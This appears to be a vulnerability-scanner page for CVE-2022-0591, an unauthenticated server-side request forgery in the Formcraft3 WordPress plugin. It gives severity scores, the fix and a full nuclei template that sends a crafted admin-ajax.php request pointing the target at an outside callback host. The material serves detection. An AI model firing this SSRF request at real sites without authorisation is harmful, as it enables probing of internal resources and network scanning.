Formcraft3 <3.8.28 - Server-Side Request Forgery

criticalseverity

9.1CVSS score

20.2%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Formcraft3 before version 3.8.2 does not validate the URL parameter in the formcraft3_get AJAX action, leading to server-side request forgery issues exploitable by unauthenticated users.

Impact

An attacker can send crafted requests to the server, potentially leading to unauthorized access to internal resources or network scanning.

Fix

Upgrade to Formcraft3 version 3.8.28 or later to fix the SSRF vulnerability.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "/wp-content/plugins/formcraft3/"
Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=formcraft3_get&URL=https://{{interactsh-url}}
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: WordPress"

Run it with nuclei: nuclei -id CVE-2022-0591 -u <target>

The full check

id: CVE-2022-0591

info:
  name: Formcraft3 <3.8.28 - Server-Side Request Forgery
  author: Akincibor,j4vaovo
  severity: critical
  description: |
    Formcraft3 before version 3.8.2  does not validate the URL parameter in the formcraft3_get AJAX action, leading to server-side request forgery issues exploitable by unauthenticated users.
  impact: |
    An attacker can send crafted requests to the server, potentially leading to unauthorized access to internal resources or network scanning.
  remediation: |
    Upgrade to Formcraft3 version 3.8.28 or later to fix the SSRF vulnerability.
  reference:
    - https://wpscan.com/vulnerability/b5303e63-d640-4178-9237-d0f524b13d47
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0591
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2022-0591
    cwe-id: CWE-918
    epss-score: 0.20249
    epss-percentile: 0.97489
    cpe: cpe:2.3:a:subtlewebinc:formcraft3:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: subtlewebinc
    product: formcraft3
    framework: wordpress
    fofa-query: "body=\"formcraft3\" && body=\"wp-\""
  tags: cve,cve2022,wp,wp-plugin,wordpress,formcraft3,wpscan,ssrf,unauth,subtlewebinc,vkev,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}'

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/formcraft3/'

  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=formcraft3_get&URL=https://{{interactsh-url}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: WordPress"

References

Use this check only on systems you are authorised to test. Where the data comes from